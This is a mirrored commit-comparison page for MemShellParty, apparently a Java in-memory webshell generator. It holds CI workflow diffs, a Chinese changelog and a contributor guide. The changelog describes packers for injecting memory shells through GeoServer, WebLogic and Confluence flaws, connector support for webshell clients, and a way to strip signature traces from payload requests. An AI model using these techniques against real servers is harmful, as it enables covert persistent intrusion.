mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c | ||
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 | ||
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 |
@@ -6,8 +6,6 @@ on:
|
||||
- dev
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
name: Docker Build Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'examples/**'
|
||||
- 'vul/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
docker-build-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
docker images
|
||||
- name: Run Docker container
|
||||
run: |
|
||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||
sleep 10
|
||||
- name: Test with curl
|
||||
run: |
|
||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||
echo "Test successful!"
|
||||
else
|
||||
echo "Test failed!"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,41 @@
|
||||
name: docker-push
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
path:
|
||||
description: 'Path'
|
||||
required: true
|
||||
default: '/redqueen-memshell-party'
|
||||
tag:
|
||||
description: "Tag"
|
||||
required: true
|
||||
default: "redqueen"
|
||||
jobs:
|
||||
docker-push:
|
||||
name: Docker Push
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
build-args: |
|
||||
ROUTE_ROOT_PATH=${{ inputs.path }}
|
||||
CONTEXT_PATH=${{ inputs.path }}
|
||||
push: true
|
||||
tags: |
|
||||
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
||||
@@ -1,66 +1,21 @@
|
||||
name: Test
|
||||
name: MemShell IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
paths:
|
||||
- './github/workflows/memshell-integration-test.yml'
|
||||
- '**/memshell/**'
|
||||
- '**/packer/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
unit-test:
|
||||
name: UniteTest
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
- name: Boot Unit Test with Gradle
|
||||
run: ./gradlew :boot:test
|
||||
|
||||
docker-build-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
docker images
|
||||
- name: Run Docker container
|
||||
run: |
|
||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||
sleep 10
|
||||
- name: Test with curl
|
||||
run: |
|
||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||
echo "Test successful!"
|
||||
else
|
||||
echo "Test failed!"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
integration-test:
|
||||
memshell-integration-test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
@@ -87,7 +42,7 @@ jobs:
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springmvc"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
@@ -95,7 +50,6 @@ jobs:
|
||||
depend_tasks: ""
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
needs: [ unit-test ]
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
@@ -113,7 +67,10 @@ jobs:
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
|
||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -0,0 +1,72 @@
|
||||
name: Probe IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- '**/probe/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
cases:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "wildfly"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -109,6 +109,18 @@ jobs:
|
||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||
ghcr.io/reajason/memshell-party:latest
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
build-args: |
|
||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||
CONTEXT_PATH=/redqueen-memshell-party
|
||||
push: true
|
||||
tags: |
|
||||
docker.io/reajason/memshell-party:redqueen
|
||||
|
||||
deploy-maven:
|
||||
name: Deploy to Maven Central
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
name: Unit-Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- 'generator/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
unit-test:
|
||||
name: UniteTest
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
- name: Boot Unit Test with Gradle
|
||||
run: ./gradlew :boot:test
|
||||
+128
-1
@@ -5,6 +5,133 @@ All notable changes to this project will be documented in this file.
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
|
||||
|
||||
### Added
|
||||
|
||||
1. 添加 BigInteger、ScriptEngineBigInteger 打包方式(#86 by @wanswu)
|
||||
2. 添加 SpELSpringGzipJDK17 打包方式(#83 by @xcxmiku and @ReaJason)
|
||||
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
|
||||
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
|
||||
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
|
||||
```http
|
||||
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
|
||||
```
|
||||
改为只需要如下方式
|
||||
```http
|
||||
/path/code?payload=IBVQEAJ29yZy9hcGFj...
|
||||
```
|
||||
|
||||
### Fixed
|
||||
|
||||
1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除
|
||||
2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作
|
||||
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel)
|
||||
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
|
||||
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
|
||||
|
||||
### Changed
|
||||
|
||||
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
|
||||
2. 去除 logback(java11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
|
||||
3. 实现 @SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
|
||||
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
|
||||
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
|
||||
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
|
||||
7. 优化 Agent Attacher JDK11 异常处理
|
||||
8. 依赖更新
|
||||
|
||||
**Full Changelog:** [v2.0.0...v2.1.0](https://github.com/ReaJason/MemShellParty/compare/v2.0.0...v2.1.0)
|
||||
|
||||
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.0.0) - 2025-08-13
|
||||
|
||||
> [!WARNING]
|
||||
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example) 进行调整。
|
||||
|
||||
### Added
|
||||
|
||||
- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains)
|
||||
- Web 添加关于页面
|
||||
- 支持 H2 JDBC 打包方式(DataEase 漏洞注入)
|
||||
- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入)
|
||||
- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入)
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
|
||||
- 修复 Spring Boot 对于 no static resource 老是抛出错误日志
|
||||
- 修复 TongWeb8 context 获取错误导致注入失败的问题
|
||||
|
||||
### Changed
|
||||
|
||||
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (#74 by @zema1)
|
||||
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` 的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
|
||||
- 简化 Tomcat AgentInjector 的代码
|
||||
- 前端 module 分包减少单个 js 体积,加快首次加载速度
|
||||
- 移除 memshell-party-bom 模块,改用 gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
|
||||
- 使用 build-logic 替代 buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
|
||||
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
|
||||
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell 的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
|
||||
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
|
||||
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
|
||||
|
||||
**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)
|
||||
|
||||
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
||||
|
||||
### Added
|
||||
|
||||
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
|
||||
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复哥斯拉无法使用最新版连接
|
||||
- 修复 TongWeb8 Valve 未适配
|
||||
- 修复移动端 UI 输入框 placeholder 字体过大
|
||||
- 修复移动端 UI 类名复制按钮超出卡片范围
|
||||
|
||||
### Changed
|
||||
|
||||
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
|
||||
- 合并 memshell 与 memshell-jdk8 模块,方便维护
|
||||
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
|
||||
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
|
||||
- 简化 Shell base64 方法代码
|
||||
- Gradle 更新至 8.14.2
|
||||
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
|
||||
Kotlin DSL
|
||||
|
||||
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
|
||||
|
||||
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 TongWeb8 内存马生成 by @ReaJason
|
||||
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
|
||||
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
|
||||
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
||||
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 Apusic Listener 由于 response 获取错误导致不可用
|
||||
- 修复 Jakarta WebSocket 无法注入
|
||||
|
||||
### Changed
|
||||
|
||||
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
|
||||
- Gradle、Web 项目依赖更新
|
||||
- UI 生成界面默认勾选缩小字节码
|
||||
- UI 优化手机端选项布局,单行显示每个输入框
|
||||
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
|
||||
- 提取公共 Tailwind CSS 类名,简化表单组件代码
|
||||
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
|
||||
- 重构 Shell Generator 代码
|
||||
|
||||
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
|
||||
|
||||
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
||||
|
||||
### Added
|
||||
@@ -25,7 +152,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
||||
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
||||
|
||||
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
||||
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
|
||||
|
||||
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||
|
||||
|
||||
+23
-12
@@ -1,19 +1,27 @@
|
||||
## Contribute
|
||||
|
||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||
|
||||
> It will be so nice if you want to contribute. 🎉
|
||||
|
||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||
|
||||
### 目录结构
|
||||
|
||||
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||
- common:bytebuddy 等工具类存放
|
||||
- memshell-party-common:bytebuddy/asm 等工具类存放
|
||||
- generator:内存马生成核心
|
||||
- deserialize:反序列化相关 gadget
|
||||
- packer:常见漏洞 payload 生成
|
||||
- integration-test:集成测试用例
|
||||
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
||||
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
||||
- tools/behinder:冰蝎简易连接器
|
||||
- tools/godzilla:哥斯拉简易连接器
|
||||
- tools/suo5:Suo5 简易连接器
|
||||
- memshell:内存功能类以及注入器
|
||||
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
||||
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
||||
- web:使用 react 开发的 Web UI
|
||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||
- vul/springboot*: springboot 相关靶场
|
||||
|
||||
@@ -28,12 +36,15 @@
|
||||
# 运行集成测试用例,谨慎运行,用例太多了
|
||||
./gradlew :integration-test:test --info
|
||||
|
||||
# 仅运行 tomcat 下的集成测试用例
|
||||
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||
# 仅运行 jetty 下的集成测试用例
|
||||
|
||||
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||
|
||||
# 构建 war 包
|
||||
# 构建靶场 war 包
|
||||
./gradlew :vul:vul-webapp:war
|
||||
./gradlew :vul:vul-webapp-jakarta:war
|
||||
./gradlew :vul:vul-webapp-expression:war
|
||||
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
||||
|
||||
### Contribute Code
|
||||
|
||||
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||
|
||||
1. fork 当前项目
|
||||
2. git clone 自己 fork 后的项目
|
||||
|
||||
+6
-12
@@ -1,7 +1,4 @@
|
||||
FROM buildpack-deps:bullseye-scm AS source
|
||||
|
||||
ARG VERSION="1.0.0"
|
||||
ENV VERSION=${VERSION}
|
||||
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -9,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM oven/bun:1.2.9 AS frontend
|
||||
